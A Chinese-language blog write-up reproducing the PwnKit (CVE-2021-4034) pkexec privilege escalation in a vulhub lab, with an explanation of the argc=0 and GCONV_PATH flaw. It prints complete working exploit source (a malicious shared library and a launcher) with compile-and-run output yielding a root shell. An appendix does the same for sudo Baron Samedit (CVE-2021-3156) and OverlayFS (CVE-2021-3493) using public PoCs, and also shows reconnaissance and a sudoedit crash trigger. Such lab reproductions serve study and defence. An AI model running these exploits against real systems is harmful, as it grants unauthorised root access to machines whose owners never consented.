PwnKit 提权漏洞(CVE-2021-4034)复现

0 阅读1分钟

本文深度复现了 2022 年初轰动安全界的 PwnKit (CVE-2021-4034) 提权漏洞。该漏洞潜伏于 Linux 核心组件 Polkit(原名 PolicyKit)的 pkexec 程序中长达十年之久,是一个经典的由于环境变量越界读取导致的本地提权(LPE)漏洞。 通过对漏洞原理的剖析,我们可以看到攻击者如何巧妙地利用 pkexec 在处理命令行参数时的逻辑缺陷,通过构造特殊的非法环境变量,诱导具有 SUID 权限的进程加载恶意共享库,从而绕过身份验证瞬间获取全局 Root 权限。

漏洞基础信息

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2021-40347.8默认安装了 polkit 的几乎所有主流 Linux 发行版,从 2009 年的初始提交到 2022 年 1 月修复版本之前本地权限提升(LPE)

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境,因为容器中运行了 Qemu 虚拟机,所以初始化需要消耗更长时间。可以使用 docker compose logs 查看运行时的日志。

┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/polkit/CVE-2021-4034	
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
3c5c6abb13d9   vulhub/polkit:0.105   "/bin/sh -c 'qemu-sy…"   24 minutes ago   Up 24 minutes   0.0.0.0:2222->2222/tcp, :::2222->2222/tcp   cve-2021-4034-cmd-1

└─$ docker-compose logs
# 日志出现以下内容说明初始化成功
cmd-1  | [  OK  ] Finished Execute cloud user/final scripts.
cmd-1  | [  OK  ] Reached target Cloud-init target.

目标探测

端口扫描与服务识别

┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP

# 扫描结果
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 52:8a:4b:9e:e1:9e:37:71:d0:d4:04:ea:78:85:ea:ef (RSA)
|   256 a7:40:57:0f:9b:b8:4a:f0:4d:e5:87:8f:0d:75:31:69 (ECDSA)
|_  256 ac:8e:ea:83:00:ef:b8:a2:b4:fb:b2:d4:3b:14:82:15 (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.2p1 Ubuntu 4: 这个版本对应的上游操作系统通常是 Ubuntu 20.04 (Focal Fossa),Ubuntu 20.04 的原始版本(未打补丁前)是 PwnKit (CVE-2021-4034) 的重灾区。 2222/tcp:非标准 SSH 端口。

攻击过程

寻找提权机会

在漏洞复现过程中我们已知用户 ubuntu的密码为 vulhub ,先使用这个已知的账户登录:

┌──(kali㉿kali)-[~]
└─$ ssh ubuntu@target-IP -p 2222 
ubuntu@192.168.31.148's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)

登录成功后首先要寻找那些由 root 拥有且具有 SUID 权限的可执行文件(运行这些文件时,进程会以 root 身份运行)。

ubuntu@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null
/snap/core18/1705/bin/mount
/snap/core18/1705/bin/ping
/snap/core18/1705/bin/su
/snap/core18/1705/bin/umount
/snap/core18/1705/usr/bin/chfn
/snap/core18/1705/usr/bin/chsh
/snap/core18/1705/usr/bin/gpasswd
/snap/core18/1705/usr/bin/newgrp
/snap/core18/1705/usr/bin/passwd
/snap/core18/1705/usr/bin/sudo
/snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1705/usr/lib/openssh/ssh-keysign
/snap/snapd/7264/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount

在这一堆输出中,/usr/bin/pkexec 是最显眼的目标。通常情况下,虽然列表中有很多 SUID 程序(如 sudo, passwd, mount),但它们的漏洞非常罕见。经过了数十年的安全审计,除非有极其罕见的 CVE(如同样在2021年披露的 CVE-2021-3156),否则几乎无懈可击。

searchsploit搜索漏洞

当看到 /usr/bin/pkexec/usr/lib/policykit-1/polkit-agent-helper-1 时,经验丰富的渗透测试员会立刻联想到 PwnKit。首先查看一下 pkexec 版本:

ubuntu@ubuntu:~$ pkexec --version
pkexec version 0.105

显然这个版本存在 CVE-2021-4034 漏洞,使用 searchsploit 搜索一下漏洞信息:

┌──(kali㉿kali)-[~]
└─$ searchsploit --cve 2021-4034
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
PolicyKit-1 0.105-31 - Privilege Escalatio | linux/local/50689.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

使用 searchsploit -m 50689.txt 将漏洞信息下载到当前目录,或直接在 /usr/share/exploitdb/exploits/linux/local/50689.txt 查看:

# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`

##### Makefile #####

all:
        gcc -shared -o evil.so -fPIC evil-so.c
        gcc exploit.c -o exploit

clean:
        rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

#################

##### evil-so.c #####

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}

#################

##### exploit.c #####

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

#################   

提权

按照文本给出的方式编译并执行,成功提权:

ubuntu@ubuntu:~$ gcc -shared -o evil.so -fPIC evil-so.c
ubuntu@ubuntu:~$ gcc exploit.c -o exploit
ubuntu@ubuntu:~$ ./exploit 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

根据上文的分析,这台靶机上很有可能还有其他的漏洞可以用来提权,详见附录。

漏洞核心原理

CVE-2021-4034 (PwnKit) 的核心原理在于 pkexec 程序对命令行参数处理的一个越界读取(Out-of-bounds Read)漏洞,以及由此引发的环境变量写入。

参数处理越界

在 Linux 中,一个程序的 main 函数接收两个重要的参数:argc(参数数量)和 argv(指向参数字符串的指针数组)。按照规范:argv[0] 通常是程序自身的路径,argv[argc] 必须是一个 NULL 指针。

在调用 pkexec 时,如果攻击者强制传递一个完全为空的数组(即 argc = 0),那么 argv[0] 实际上就是 NULL。然而,pkexec 的代码逻辑假设 argc 至少为 1。它会尝试读取 argv[1] 来获取要执行的命令。由于 argv[1] 已经超出了 argv 数组的范围,根据内存布局,它会越界读取到紧随其后的 envp(环境变量指针数组)中的第一个元素。

将环境变量误认为路径

pkexec 越界读取了第一个环境变量后,它会将这个字符串视作一个程序路径。接着,pkexec 会利用环境变量中的 PATH 变量去寻找这个路径的绝对位置。如果寻找到匹配项,它会将寻找到的绝对路径写回 argv[1]

利用 GCONV_PATH 注入恶意库

攻击者在当前目录下创建一个名为 GCONV_PATH=. 的文件夹,又在环境变量中设置一个名为 GCONV_PATH=. 的条目。通过上述的越界写入逻辑,pkexec 在执行过程中会调用 gconv 库进行字符集转换。如果环境变量中存在 GCONV_PATHpkexec 会信任这个路径并加载其中的 gconv-modules 配置文件。

由于 pkexec 拥有 SUID Root 权限,它会以 Root 身份加载攻击者在配置文件中指定的恶意 .so 共享库。这个共享库在加载时(利用 __attribute__((constructor)))执行 setuid(0) 并启动 /bin/sh,从而完成提权。

附录

Baron Samedit 提权漏洞(CVE-2021-3156)

漏洞验证

该漏洞的触发核心在于 sudoedit 在处理命令行转义字符(反斜杠 \)时的逻辑错误。

ubuntu@ubuntu:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
ubuntu@ubuntu:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

当输入超长的 A 字符串时,sudoedit 在处理反斜杠 \ 时发生了堆溢出,破坏了内存中的堆块元数据。系统检测到了堆管理器的损坏(corrupted top size),为了防止进一步的非法操作,强制终止了进程并倾倒核心(Core Dump)。从版本来看 sudo 1.8.31 确实存在 CVE-2021-3156 漏洞。

searchsploit搜索漏洞

再次使用 searchsploit 搜索漏洞,发现提供的漏洞利用工具版本并不符合要求。

┌──(kali㉿kali)-[~]
└─$ searchsploit --cve 2021-3156
----------------------------------------------------- ---------------------------------
 Exploit Title                                       |  Path
----------------------------------------------------- ---------------------------------
Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Ov | multiple/local/49521.py
Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Ov | multiple/local/49522.c
----------------------------------------------------- ---------------------------------
Shellcodes: No Results
----------------------------------------------------- ---------------------------------
 Paper Title                                         |  Path
----------------------------------------------------- ---------------------------------
Heap-Based Buffer Overflow in Sudo (Baron Samedit) - | docs/english/49950-heap-based-bu
----------------------------------------------------- ---------------------------------

GitHub POC

在 GitHub 上查找可用的 POC 并尝试提权,./sudo-hax-me-a-sandwich 列出可提权的目标,发现恰好适配靶机的 sudo 版本:

ubuntu@ubuntu:~$ git clone https://github.com/blasty/CVE-2021-3156.git
ubuntu@ubuntu:~$ cd CVE-2021-3156/
ubuntu@ubuntu:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
ubuntu@ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

  usage: ./sudo-hax-me-a-sandwich <target>

  available targets:
  ------------------------------------------------------------
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
  ------------------------------------------------------------

  manual mode:
    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

ubuntu@ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 1

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)
# whoami
root

更多复现细节参阅Baron Samedit 提权漏洞(CVE-2021-3156)复现

OverlayFS 提权漏洞(CVE-2021-3493)

漏洞验证

检查内核版本

首先确认内核版本是否在受影响的范围内。5.4.0-26-generic是 20.04 发布时的初始版本,处于漏洞的高危区间。

ubuntu@ubuntu:~$ uname -a
Linux ubuntu 5.4.0-26-generic #30-Ubuntu SMP Mon Apr 20 16:58:30 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
检查“用户命名空间”权限

该漏洞的触发前提是系统允许普通用户创建自己的命名空间(User Namespace)。

ubuntu@ubuntu:~$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1

结果 = 1:漏洞极大概率存在。系统允许非特权用户创建命名空间,这是 OverlayFS 提权的必要路径。

结果 = 0:系统加固了。普通用户无法创建命名空间,漏洞利用会被拦截。

功能模拟

如果前两步都符合,可以通过一个简单的命令来测试内核是否会“错误地允许”用户在自己的命名空间里挂载 OverlayFS。这不会提权,但能验证路径是否打通。

ubuntu@ubuntu:~$ unshare -rm bash -c "mkdir l u w m; mount -t overlay overlay -o lowerdir=l,upperdir=u,workdir=w m && echo 'VULNERABLE: Mount Success' || echo 'PATCHED: Mount Failed'; umount m; rm -rf l u w m"
VULNERABLE: Mount Success
umount: /home/ubuntu/m: filesystem was unmounted, but failed to update userspace mount table.

输出 VULNERABLE: Mount Success: 内核允许你在非特权环境下操作 OverlayFS 的挂载。这意味着内核没有对该操作进行严格的边界限制,漏洞确认存在

输出 Operation not permitted 或 Mount Failed: 内核拒绝了挂载请求。这说明内核已经修补,或者管理员通过安全策略限制了 OverlayFS 的使用。

GitHub POC

在 GitHub 上查找可用的 POC 并尝试提权:

ubuntu@ubuntu:~$ git clone https://github.com/briskets/CVE-2021-3493.git
ubuntu@ubuntu:~$ cd CVE-2021-3493/
ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c -o exploit
ubuntu@ubuntu:~/CVE-2021-3493$ ./exploit 
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)
bash-5.0# whoami
root

更多复现细节参阅OverlayFS 提权漏洞(CVE-2021-3493)复现